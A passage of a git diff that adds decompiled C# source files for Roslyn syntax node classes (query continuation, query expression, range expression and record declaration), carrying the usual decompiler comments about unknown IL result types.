base((GreenNode)(object)green, parent, position) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/QueryContinuationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/QueryContinuationSyntax.cs new file mode 100644 index 0000000..b75c0ff --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/QueryContinuationSyntax.cs @@ -0,0 +1,98 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class QueryContinuationSyntax : CSharpSyntaxNode +{ + private QueryBodySyntax? body; + + public SyntaxToken IntoKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.QueryContinuationSyntax)(object)((SyntaxNode)this).Green).intoKeyword, ((SyntaxNode)this).Position, 0); + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.QueryContinuationSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public QueryBodySyntax Body => ((SyntaxNode)this).GetRed(ref body, 2); + + internal QueryContinuationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref body, 2); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 2) + { + return null; + } + return (SyntaxNode?)(object)body; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitQueryContinuation(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitQueryContinuation(this); + } + + public QueryContinuationSyntax Update(SyntaxToken intoKeyword, SyntaxToken identifier, QueryBodySyntax body) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (intoKeyword != IntoKeyword || identifier != Identifier || body != Body) + { + QueryContinuationSyntax queryContinuationSyntax = SyntaxFactory.QueryContinuation(intoKeyword, identifier, body); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return queryContinuationSyntax; + } + return queryContinuationSyntax.WithAnnotations(annotations); + } + return this; + } + + public QueryContinuationSyntax WithIntoKeyword(SyntaxToken intoKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(intoKeyword, Identifier, Body); + } + + public QueryContinuationSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(IntoKeyword, identifier, Body); + } + + public QueryContinuationSyntax WithBody(QueryBodySyntax body) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(IntoKeyword, Identifier, body); + } + + public QueryContinuationSyntax AddBodyClauses(params QueryClauseSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithBody(Body.WithClauses(Body.Clauses.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/QueryExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/QueryExpressionSyntax.cs new file mode 100644 index 0000000..57b94d1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/QueryExpressionSyntax.cs @@ -0,0 +1,83 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class QueryExpressionSyntax : ExpressionSyntax +{ + private FromClauseSyntax? fromClause; + + private QueryBodySyntax? body; + + public FromClauseSyntax FromClause => ((SyntaxNode)this).GetRedAtZero(ref fromClause); + + public QueryBodySyntax Body => ((SyntaxNode)this).GetRed(ref body, 1); + + internal QueryExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref fromClause), + 1 => ((SyntaxNode)this).GetRed(ref body, 1), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => fromClause, + 1 => body, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitQueryExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitQueryExpression(this); + } + + public QueryExpressionSyntax Update(FromClauseSyntax fromClause, QueryBodySyntax body) + { + if (fromClause != FromClause || body != Body) + { + QueryExpressionSyntax queryExpressionSyntax = SyntaxFactory.QueryExpression(fromClause, body); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return queryExpressionSyntax; + } + return queryExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public QueryExpressionSyntax WithFromClause(FromClauseSyntax fromClause) + { + return Update(fromClause, Body); + } + + public QueryExpressionSyntax WithBody(QueryBodySyntax body) + { + return Update(FromClause, body); + } + + public QueryExpressionSyntax AddBodyClauses(params QueryClauseSyntax[] items) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return WithBody(Body.WithClauses(Body.Clauses.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RangeExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RangeExpressionSyntax.cs new file mode 100644 index 0000000..d70bdaa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RangeExpressionSyntax.cs @@ -0,0 +1,87 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class RangeExpressionSyntax : ExpressionSyntax +{ + private ExpressionSyntax? leftOperand; + + private ExpressionSyntax? rightOperand; + + public ExpressionSyntax? LeftOperand => ((SyntaxNode)this).GetRedAtZero(ref leftOperand); + + public SyntaxToken OperatorToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RangeExpressionSyntax)(object)((SyntaxNode)this).Green).operatorToken, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + + public ExpressionSyntax? RightOperand => ((SyntaxNode)this).GetRed(ref rightOperand, 2); + + internal RangeExpressionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref leftOperand), + 2 => ((SyntaxNode)this).GetRed(ref rightOperand, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => leftOperand, + 2 => rightOperand, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitRangeExpression(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitRangeExpression(this); + } + + public RangeExpressionSyntax Update(ExpressionSyntax? leftOperand, SyntaxToken operatorToken, ExpressionSyntax? rightOperand) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (leftOperand != LeftOperand || operatorToken != OperatorToken || rightOperand != RightOperand) + { + RangeExpressionSyntax rangeExpressionSyntax = SyntaxFactory.RangeExpression(leftOperand, operatorToken, rightOperand); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return rangeExpressionSyntax; + } + return rangeExpressionSyntax.WithAnnotations(annotations); + } + return this; + } + + public RangeExpressionSyntax WithLeftOperand(ExpressionSyntax? leftOperand) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + return Update(leftOperand, OperatorToken, RightOperand); + } + + public RangeExpressionSyntax WithOperatorToken(SyntaxToken operatorToken) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + return Update(LeftOperand, operatorToken, RightOperand); + } + + public RangeExpressionSyntax WithRightOperand(ExpressionSyntax? rightOperand) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return Update(LeftOperand, OperatorToken, rightOperand); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RecordDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RecordDeclarationSyntax.cs new file mode 100644 index 0000000..af1f50d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/RecordDeclarationSyntax.cs @@ -0,0 +1,583 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class RecordDeclarationSyntax : TypeDeclarationSyntax +{ + private SyntaxNode? attributeLists; + + private TypeParameterListSyntax? typeParameterList; + + private ParameterListSyntax? parameterList; + + private BaseListSyntax? baseList; + + private SyntaxNode? constraintClauses; + + private SyntaxNode? members; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public override SyntaxToken Keyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RecordDeclarationSyntax)(object)((SyntaxNode)this).Green).keyword, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public SyntaxToken ClassOrStructKeyword + { + get + { + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken classOrStructKeyword = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RecordDeclarationSyntax)(object)((SyntaxNode)this).Green).classOrStructKeyword; + if (classOrStructKeyword == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)classOrStructKeyword, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + } + } + + public override SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RecordDeclarationSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(4), ((SyntaxNode)this).GetChildIndex(4)); + + public override TypeParameterListSyntax? TypeParameterList => ((SyntaxNode)this).GetRed(ref typeParameterList, 5); + + public override ParameterListSyntax? ParameterList => ((SyntaxNode)this).GetRed(ref parameterList, 6); + + public override BaseListSyntax? BaseList => ((SyntaxNode)this).GetRed(ref baseList, 7); + + public override SyntaxList ConstraintClauses => new SyntaxList(((SyntaxNode)this).GetRed(ref constraintClauses, 8)); + + public override SyntaxToken OpenBraceToken + { + get + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openBraceToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RecordDeclarationSyntax)(object)((SyntaxNode)this).Green).openBraceToken; + if (openBraceToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)openBraceToken, ((SyntaxNode)this).GetChildPosition(9), ((SyntaxNode)this).GetChildIndex(9)); + } + } + + public override SyntaxList Members => new SyntaxList(((SyntaxNode)this).GetRed(ref members, 10)); + + public override SyntaxToken CloseBraceToken + { + get + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken closeBraceToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RecordDeclarationSyntax)(object)((SyntaxNode)this).Green).closeBraceToken; + if (closeBraceToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)closeBraceToken, ((SyntaxNode)this).GetChildPosition(11), ((SyntaxNode)this).GetChildIndex(11)); + } + } + + public override SyntaxToken SemicolonToken + { + get + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken semicolonToken = ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.RecordDeclarationSyntax)(object)((SyntaxNode)this).Green).semicolonToken; + if (semicolonToken == null) + { + return default(SyntaxToken); + } + return new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)semicolonToken, ((SyntaxNode)this).GetChildPosition(12), ((SyntaxNode)this).GetChildIndex(12)); + } + } + + public RecordDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, modifiers, keyword, ClassOrStructKeyword, identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken); + } + + internal RecordDeclarationSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 5 => ((SyntaxNode)this).GetRed(ref typeParameterList, 5), + 6 => ((SyntaxNode)this).GetRed(ref parameterList, 6), + 7 => ((SyntaxNode)this).GetRed(ref baseList, 7), + 8 => ((SyntaxNode)this).GetRed(ref constraintClauses, 8), + 10 => ((SyntaxNode)this).GetRed(ref members, 10), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 5 => typeParameterList, + 6 => parameterList, + 7 => baseList, + 8 => constraintClauses, + 10 => members, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitRecordDeclaration(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitRecordDeclaration(this); + } + + public RecordDeclarationSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken classOrStructKeyword, SyntaxToken identifier, TypeParameterListSyntax? typeParameterList, ParameterListSyntax? parameterList, BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_00c0: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00c5: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_00cf: Unknown result type (might be due to invalid IL or missing references) + //IL_00d1: Unknown result type (might be due to invalid IL or missing references) + //IL_00d3: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00ab: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || keyword != Keyword || classOrStructKeyword != ClassOrStructKeyword || identifier != Identifier || typeParameterList != TypeParameterList || parameterList != ParameterList || baseList != BaseList || constraintClauses != ConstraintClauses || openBraceToken != OpenBraceToken || members != Members || closeBraceToken != CloseBraceToken || semicolonToken != SemicolonToken) + { + RecordDeclarationSyntax recordDeclarationSyntax = SyntaxFactory.RecordDeclaration(Kind(), attributeLists, modifiers, keyword, classOrStructKeyword, identifier, typeParameterList, parameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return recordDeclarationSyntax; + } + return recordDeclarationSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override MemberDeclarationSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new RecordDeclarationSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, Modifiers, Keyword, ClassOrStructKeyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override MemberDeclarationSyntax WithModifiersCore(SyntaxTokenList modifiers) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithModifiers(modifiers); + } + + public new RecordDeclarationSyntax WithModifiers(SyntaxTokenList modifiers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, modifiers, Keyword, ClassOrStructKeyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithKeywordCore(SyntaxToken keyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithKeyword(keyword); + } + + public new RecordDeclarationSyntax WithKeyword(SyntaxToken keyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, keyword, ClassOrStructKeyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + public RecordDeclarationSyntax WithClassOrStructKeyword(SyntaxToken classOrStructKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, classOrStructKeyword, Identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithIdentifierCore(SyntaxToken identifier) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithIdentifier(identifier); + } + + public new RecordDeclarationSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, ClassOrStructKeyword, identifier, TypeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithTypeParameterListCore(TypeParameterListSyntax? typeParameterList) + { + return WithTypeParameterList(typeParameterList); + } + + public new RecordDeclarationSyntax WithTypeParameterList(TypeParameterListSyntax? typeParameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, ClassOrStructKeyword, Identifier, typeParameterList, ParameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithParameterListCore(ParameterListSyntax? parameterList) + { + return WithParameterList(parameterList); + } + + public new RecordDeclarationSyntax WithParameterList(ParameterListSyntax? parameterList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, ClassOrStructKeyword, Identifier, TypeParameterList, parameterList, BaseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithBaseListCore(BaseListSyntax? baseList) + { + return WithBaseList(baseList); + } + + public new RecordDeclarationSyntax WithBaseList(BaseListSyntax? baseList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, ClassOrStructKeyword, Identifier, TypeParameterList, ParameterList, baseList, ConstraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override TypeDeclarationSyntax WithConstraintClausesCore(SyntaxList constraintClauses) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithConstraintClauses(constraintClauses); + } + + public new RecordDeclarationSyntax WithConstraintClauses(SyntaxList constraintClauses) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, Modifiers, Keyword, ClassOrStructKeyword, Identifier, TypeParameterList, ParameterList, BaseList, constraintClauses, OpenBraceToken, Members, CloseBraceToken, SemicolonToken); + } + + internal override BaseTypeDeclarationSyntax WithOpenBraceTokenCore(SyntaxToken openBraceToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithOpenBraceToken(openBraceToken); + } + + public new RecordDeclarationSyntax WithOpenBraceToken(SyntaxToken openBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid 